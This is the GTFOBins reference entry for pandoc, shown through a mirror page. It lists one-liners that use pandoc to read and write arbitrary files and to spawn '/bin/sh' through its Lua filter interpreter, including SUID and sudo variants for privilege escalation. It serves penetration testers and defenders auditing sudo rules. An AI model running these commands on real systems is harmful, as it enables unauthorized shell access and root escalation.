1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-16 17:01:38 +02:00
GTFOBins.github.io/_gtfobins/pandoc.md

34 lines
1.0 KiB
Markdown
Raw Permalink Normal View History

---
functions:
file-read:
- code: |
LFILE=file_to_read
pandoc -t plain "$LFILE"
file-write:
- code: |
LFILE=file_to_write
echo DATA | pandoc -t plain -o "$LFILE"
shell:
- description: Pandoc has a builtin [`lua`](/gtfobins/lua/) interpreter for writing filters, other functions might apply.
code: |
TF=$(mktemp)
echo 'os.execute("/bin/sh")' >$TF
pandoc -L $TF /dev/null
suid:
- code: |
LFILE=file_to_write
echo DATA | ./pandoc -t plain -o "$LFILE"
limited-suid:
- description: Pandoc has a builtin [`lua`](/gtfobins/lua/) interpreter for writing filters, other functions might apply.
code: |
TF=$(mktemp)
echo 'os.execute("/bin/sh")' >$TF
./pandoc -L $TF /dev/null
sudo:
- description: Pandoc has a builtin [`lua`](/gtfobins/lua/) interpreter for writing filters, other functions might apply.
code: |
TF=$(mktemp)
echo 'os.execute("/bin/sh")' >$TF
sudo pandoc -L $TF /dev/null
---